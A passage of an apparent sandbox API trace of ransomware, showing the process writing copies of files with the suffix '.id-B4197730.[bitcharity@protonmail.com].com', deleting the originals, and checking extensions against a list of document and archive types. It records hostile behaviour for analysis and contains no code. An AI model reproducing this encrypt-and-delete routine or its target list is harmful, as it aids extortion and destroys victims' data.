liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.190] SetEndOfFile (hFile=0x10c0) returned 1 [0136.307] CloseHandle (hObject=0x10c0) returned 1 [0136.311] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.311] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0136.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0136.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0136.312] lstrlenW (lpString=".doc") returned 4 [0136.312] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.312] lstrlenW (lpString=".docx") returned 5 [0136.312] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0136.312] lstrlenW (lpString=".pdf") returned 4 [0136.312] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.312] lstrlenW (lpString=".xls") returned 4 [0136.312] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.312] lstrlenW (lpString=".xlsx") returned 5 [0136.312] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0136.312] lstrlenW (lpString=".ppt") returned 4 [0136.312] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0136.312] lstrlenW (lpString=".zip") returned 4 [0136.312] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.312] lstrlenW (lpString=".rar") returned 4 [0136.312] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.312] lstrlenW (lpString=".bz2") returned 4 [0136.312] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.312] lstrlenW (lpString=".7z") returned 3 [0136.312] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0136.312] lstrlenW (lpString=".dbf") returned 4 [0136.312] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0136.312] lstrlenW (lpString=".1cd") returned 4 [0136.313] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0136.313] lstrlenW (lpString=".jpg") returned 4 [0136.313] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0136.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0136.313] lstrlenW (lpString=".doc") returned 4 [0136.313] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.313] lstrlenW (lpString=".docx") returned 5 [0136.313] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0136.313] lstrlenW (lpString=".pdf") returned 4 [0136.313] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.313] lstrlenW (lpString=".xls") returned 4 [0136.313] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.313] lstrlenW (lpString=".xlsx") returned 5 [0136.313] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0136.313] lstrlenW (lpString=".ppt") returned 4 [0136.313] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0136.313] lstrlenW (lpString=".zip") returned 4 [0136.313] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.313] lstrlenW (lpString=".rar") returned 4 [0136.313] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.313] lstrlenW (lpString=".bz2") returned 4 [0136.314] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.314] lstrlenW (lpString=".7z") returned 3 [0136.314] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0136.314] lstrlenW (lpString=".dbf") returned 4 [0136.314] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0136.314] lstrlenW (lpString=".1cd") returned 4 [0136.314] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0136.314] lstrlenW (lpString=".jpg") returned 4 [0136.314] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.314] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0136.314] lstrlenW (lpString="Rotate3.ico") returned 11 [0136.314] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0136.360] GetFileSizeEx (in: hFile=0x1080, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=894) returned 1 [0136.360] CloseHandle (hObject=0x1080) returned 1 [0136.360] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0136.361] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.361] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0136.361] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.361] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.361] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0136.439] GetLastError () returned 0x0 [0136.439] ReadFile (in: hFile=0x1080, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x37e, lpOverlapped=0x0) returned 1 [0136.479] WriteFile (in: hFile=0x10d0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x380, lpOverlapped=0x0) returned 1 [0136.481] ReadFile (in: hFile=0x1080, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.481] WriteFile (in: hFile=0x10d0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xea, lpOverlapped=0x0) returned 1 [0136.481] SetEndOfFile (hFile=0x10d0) returned 1 [0136.481] CloseHandle (hObject=0x10d0) returned 1 [0136.485] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.486] SetEndOfFile (hFile=0x1080) returned 1 [0136.487] CloseHandle (hObject=0x1080) returned 1 [0136.487] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.487] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0136.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0136.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0136.488] lstrlenW (lpString=".doc") returned 4 [0136.488] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.488] lstrlenW (lpString=".docx") returned 5 [0136.488] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0136.488] lstrlenW (lpString=".pdf") returned 4 [0136.488] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.488] lstrlenW (lpString=".xls") returned 4 [0136.488] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.488] lstrlenW (lpString=".xlsx") returned 5 [0136.488] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0136.488] lstrlenW (lpString=".ppt") returned 4 [0136.488] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0136.488] lstrlenW (lpString=".zip") returned 4 [0136.488] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.488] lstrlenW (lpString=".rar") returned 4 [0136.488] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.489] lstrlenW (lpString=".bz2") returned 4 [0136.489] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.489] lstrlenW (lpString=".7z") returned 3 [0136.489] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0136.489] lstrlenW (lpString=".dbf") returned 4 [0136.489] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0136.489] lstrlenW (lpString=".1cd") returned 4 [0136.489] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0136.489] lstrlenW (lpString=".jpg") returned 4 [0136.489] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0136.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0136.489] lstrlenW (lpString=".doc") returned 4 [0136.489] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.489] lstrlenW (lpString=".docx") returned 5 [0136.489] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0136.489] lstrlenW (lpString=".pdf") returned 4 [0136.489] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.489] lstrlenW (lpString=".xls") returned 4 [0136.489] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.489] lstrlenW (lpString=".xlsx") returned 5 [0136.489] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0136.489] lstrlenW (lpString=".ppt") returned 4 [0136.489] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0136.490] lstrlenW (lpString=".zip") returned 4 [0136.490] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.490] lstrlenW (lpString=".rar") returned 4 [0136.490] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.490] lstrlenW (lpString=".bz2") returned 4 [0136.490] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.490] lstrlenW (lpString=".7z") returned 3 [0136.490] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0136.490] lstrlenW (lpString=".dbf") returned 4 [0136.490] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0136.490] lstrlenW (lpString=".1cd") returned 4 [0136.490] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0136.490] lstrlenW (lpString=".jpg") returned 4 [0136.490] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.491] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0136.491] lstrlenW (lpString="Rotate6.ico") returned 11 [0136.491] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0136.491] GetFileSizeEx (in: hFile=0x1080, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=894) returned 1 [0136.491] CloseHandle (hObject=0x1080) returned 1 [0136.491] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0136.491] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.492] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0136.492] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.492] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.492] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0136.492] GetLastError () returned 0x0 [0136.492] ReadFile (in: hFile=0x1080, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x37e, lpOverlapped=0x0) returned 1 [0136.618] WriteFile (in: hFile=0x10d0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x380, lpOverlapped=0x0) returned 1 [0136.620] ReadFile (in: hFile=0x1080, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.620] WriteFile (in: hFile=0x10d0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xea, lpOverlapped=0x0) returned 1 [0136.620] SetEndOfFile (hFile=0x10d0) returned 1 [0136.625] CloseHandle (hObject=0x10d0) returned 1 [0136.630] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.630] SetEndOfFile (hFile=0x1080) returned 1 [0136.631] CloseHandle (hObject=0x1080) returned 1 [0136.631] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.632] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0136.632] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0136.632] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0136.632] lstrlenW (lpString=".doc") returned 4 [0136.632] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.632] lstrlenW (lpString=".docx") returned 5 [0136.632] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0136.632] lstrlenW (lpString=".pdf") returned 4 [0136.632] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.632] lstrlenW (lpString=".xls") returned 4 [0136.632] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.632] lstrlenW (lpString=".xlsx") returned 5 [0136.632] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0136.632] lstrlenW (lpString=".ppt") returned 4 [0136.632] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.632] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0136.632] lstrlenW (lpString=".zip") returned 4 [0136.633] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.633] lstrlenW (lpString=".rar") returned 4 [0136.633] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.633] lstrlenW (lpString=".bz2") returned 4 [0136.633] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.633] lstrlenW (lpString=".7z") returned 3 [0136.633] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0136.633] lstrlenW (lpString=".dbf") returned 4 [0136.633] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0136.633] lstrlenW (lpString=".1cd") returned 4 [0136.633] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0136.633] lstrlenW (lpString=".jpg") returned 4 [0136.633] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0136.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0136.633] lstrlenW (lpString=".doc") returned 4 [0136.633] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.633] lstrlenW (lpString=".docx") returned 5 [0136.633] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0136.633] lstrlenW (lpString=".pdf") returned 4 [0136.633] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.633] lstrlenW (lpString=".xls") returned 4 [0136.633] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.633] lstrlenW (lpString=".xlsx") returned 5 [0136.634] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0136.634] lstrlenW (lpString=".ppt") returned 4 [0136.634] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0136.634] lstrlenW (lpString=".zip") returned 4 [0136.634] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.634] lstrlenW (lpString=".rar") returned 4 [0136.634] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.634] lstrlenW (lpString=".bz2") returned 4 [0136.634] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.634] lstrlenW (lpString=".7z") returned 3 [0136.634] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0136.634] lstrlenW (lpString=".dbf") returned 4 [0136.634] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0136.634] lstrlenW (lpString=".1cd") returned 4 [0136.634] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0136.634] lstrlenW (lpString=".jpg") returned 4 [0136.634] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.634] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0136.634] lstrlenW (lpString="Save.ico") returned 8 [0136.635] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0136.635] GetFileSizeEx (in: hFile=0x1080, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=1150) returned 1 [0136.635] CloseHandle (hObject=0x1080) returned 1 [0136.635] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0136.635] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0136.636] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.636] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0136.636] GetLastError () returned 0x0 [0136.636] ReadFile (in: hFile=0x1080, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x47e, lpOverlapped=0x0) returned 1 [0136.691] WriteFile (in: hFile=0x10d0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x480, lpOverlapped=0x0) returned 1 [0136.692] ReadFile (in: hFile=0x1080, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.692] WriteFile (in: hFile=0x10d0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xe4, lpOverlapped=0x0) returned 1 [0136.692] SetEndOfFile (hFile=0x10d0) returned 1 [0136.692] CloseHandle (hObject=0x10d0) returned 1 [0136.698] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.698] SetEndOfFile (hFile=0x1080) returned 1 [0136.699] CloseHandle (hObject=0x1080) returned 1 [0136.699] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.700] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0136.700] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0136.700] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0136.700] lstrlenW (lpString=".doc") returned 4 [0136.700] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.700] lstrlenW (lpString=".docx") returned 5 [0136.700] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0136.700] lstrlenW (lpString=".pdf") returned 4 [0136.700] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.700] lstrlenW (lpString=".xls") returned 4 [0136.700] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.700] lstrlenW (lpString=".xlsx") returned 5 [0136.700] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0136.700] lstrlenW (lpString=".ppt") returned 4 [0136.700] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.700] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0136.700] lstrlenW (lpString=".zip") returned 4 [0136.700] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.701] lstrlenW (lpString=".rar") returned 4 [0136.701] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.701] lstrlenW (lpString=".bz2") returned 4 [0136.701] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.701] lstrlenW (lpString=".7z") returned 3 [0136.701] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0136.701] lstrlenW (lpString=".dbf") returned 4 [0136.701] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0136.701] lstrlenW (lpString=".1cd") returned 4 [0136.701] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0136.701] lstrlenW (lpString=".jpg") returned 4 [0136.701] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.701] lstrlenW 